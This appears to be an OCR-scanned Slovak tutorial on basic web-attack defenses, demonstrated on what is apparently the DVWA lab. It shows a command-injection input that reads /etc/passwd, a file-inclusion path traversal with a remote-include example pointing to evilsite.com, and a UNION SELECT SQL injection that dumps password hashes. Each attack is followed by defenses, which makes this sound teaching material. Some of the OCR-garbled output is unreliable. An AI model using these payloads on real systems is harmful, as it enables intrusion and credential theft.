Zakladna ochrana pred utokmi na web I

V tomto dokumente st analyzované tri zakladné utoky na web, ktorymi ttocnici najéastejSie mozu
prevziat kontrolu nad zranitelnym systémom.

Neopravnené vykonavanie prikazov

Pod neopravnenym vykondvanim prikazov rozumieme zneuzitie systému na vykonanie prikazu, ktory
nebol mieneny na vykonanie v prvom rade. Ako priklad uvedieme moznost vykonat prikaz ping, pre
ktory staci zadat IP adresu ciela.

Ping for FREE

Enter an IP address below:
127.0.0.1 submit

PING 127.8.8.1 (127.8.08.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp reqg=1 ttl=64 time=0.647 ms
64 bytes from 127.0.08.1: icmp req=2 ttl=64 time=0.063 ms
64 bytes from 127.0.8.1: icmp req=3 ttl=64 time=0.836 ms

127.8.08.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 2084ms
rtt min/avg/max/mdev = 0.0836/0.048/0.063/0.013 ms

Vdaka nedostatoénej implementdcii je ale mozné zneuzit mechanizmus, ktorym sa sluzba na serveri
spusta. Utoénik dokdaze vyuzit funkciu prikazového riadku na zretazenie prikazov a teda vykonat
viacero prikazov sucasne. Utoénik takto dokaze vykondavat akékolvek prikazy s pravami pouzivatela,
ktory spustil web server. M6Zeme pouzit operator ,,;“ alebo ,, | “ na zretazenie prikazov a vytvorit
prikaz ,,127.0.0.1 ; cat /etc/passwd”, kde sa najprv vykona prva legitimna ¢ast a nasledne kdd
utocnika. Na obrazovku sa vypiSe celkovy vystup procesu.

Bez oSetrenia takejto zranitelnosti otvarame velmi vadinu dieru do systému, kde aj uto¢nik na velmi
nizkej technickej Urovni dokaze spdsobit rozsiahle skody.



Ping for FREE

Enter an IP address below:

127.0.0.1 ; cat /etc/passwd submit

PING 127.8.8.1 (127.8.08.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp req=1 ttl=64 time=8.819 ms
64 bytes from 127.0.08.1: icmp req=2 ttl=64 time=0.865 ms
64 bytes from 127.0.8.1: icmp regq=3 ttl=64 time=0.0664 ms

---127.8.8.1 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 2005ms
rtt min/avg/max/mdev = 0.819/0.049/0.065/0.022 ms
root:x:0:8:root:/root:/bin/bash

daemon:x:1:1:daemon: /usr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:s5ync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:18:18:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33 :www-data: /var/www: /bin/sh
backup:x:34:34:backup: /var/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534 :nobody: /nonexistent:/bin/sh
libuuid:x:18@:181::/var/lib/libuuid: /bin/sh
syslog:x:181:183:: /home/syslog: /bin/false
mysql:x:182:185:MyS0QL Server,,,:/nonexistent:/bin/false
messagebus:x:1683:106:: /var/run/dbus: /bin/false
whoopsie:x:184:187: :/nonexistent: /bin/false
landscape:x:185:118:: /var/lib/landscape: /bin/false
sshd:x:186:65534: : fvar/run/sshd: fusr/sbin/nologin
test:x:1000:10006:test,,, :/home/test:/bin/bash

Ochrana

Ochrana pred takymto typom Gtoku spociva v zablokovani vkladania inych retazcov ako tych, ktoré su
ocakavany vstup. V nasom pripade funkcie PING o¢akdvame vstup vo formate IP adresy X.X.X.X, kde
X musia byt &isla o max. dizke jedného bajtu. Cislo spractivame po jednotlivych zlozkach adresy a teda
sa nam nikdy nevykond pripadny viozeny kéd. Cim detailnejsie nastavime obmedzenia, tym vy3si
stupen ochrany dosiahneme.




Zranitel'nost v ceste k stiboru

Zranitelnost v ceste k siboru spociva vo vyboceni z predpokladanych stranok ktoré mali byt
zobrazené a miesto nich su nacitané systémové subory, pripadne Skodlivé subory z inych lokalit na
internete.

V tomto priklade bola stranka page.php uréena ako zobrazovac obsahu ktory mu posunul iny skript
na webe. Kvdli zlej implementacii je mozné posunut retazec, ktory vypiSe obsah siboru so zoznamom
pouzivatelov systému, pripadne je mozné vlozit stranku z iného zdroja, napriklad
.../?page=www.evilsite.com/evil.php. Takto je mozné, aby sa vykonal cudzi kéd na zranitelnom
systéme.

192.168.1.35/dvwa/vulnerabilities/fi/?page=/. L. . .0 L L L L LWL L et/ passwd

Priblizenie:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/
/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/
/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33
Nlist:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats
libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/s
/bin/false whoopsie:x:104:107::/nonexistent:/bin/false landscape:x:
test:x:1000:1000:test,,,-/home/test:/bin/bash

Ochrana

Ochrana pred tymto utokom spociva v programatorskom oSetreni skriptu, ktory vykonava
nacitavanie inych stranok. Jedno z obmedzeni je obmedzit vstup akéhokolvek iného retazca znakov,
ako su povolené nazvy stborov, ktoré ma pouzivatel pravo spustit. Dalsou ochranou je uzamknut
webserver (Apache) v umelom korenovom adresari (chroot).



SQL injection

SQL injection je jeden z najpopularnejsich uto¢nych vektorov, kde kvoli neoSetrenému vstupu do
databazy umoziiuje Utocénikovi vykonat SQL dotaz. Na zaklade vystupov z databazy dokaze Gtocnik
ziskat data zo systému (informacie o zdkaznikoch, menad, hesl3, Cisla kreditnych kariet, ...).

Utoc¢nik dokaze vykonavat kéd v systéme s opravneniami SQL servera.

V nasom priklade sme k pozadovanému vstupu Cisla pouzivatela, o ktorom chceme ziskat Gdaje
pridali aj SQL zaznam, na zaklade ktorého sme vypisali obsah stipcov v tabulke ku ktorym povodne
nebolo mozné pristupovat.

User ID:

1" union select user_id, passv | Submit

ID: 1" UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: admin
Surname: admin

ID: 1' UNION SELECT user_ id,password FROM users WHERE 'x'='x
First name: 1
Surname: 5f4dcc3b5aa765d61d8327deb882cf09

ID: 1' UNIOMN SELECT user_id,password FROM users WHERE 'x'='x
First name: 2
Surname: e99al8c428cb38d5f260853678922e03

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 3
Surname: 8d3533d75ae2c3966d7e0d4fcch69216b

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 4
Surname: 0d107de9fsbbedBcade3deS5c71e9e9b7

ID: 1" UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Ochrana

Ochrana pred SQL injectom spociva v zabraneniu vloZenia SQL kédu do spracuvaného pola aplikacie.
Najsilnejsiu ochranu ponukaju takzvané predpripravené vyrazy (prepared statements), ktoré
obmedzuju vstup od pouZzivatela. Je mozné rozlisit jednotlivé parametre ktoré vstupuji do SQL
retazca a obmedzit ich (integer, string...) tak, aby nebolo mozné zadavat ¢okolvek iné.



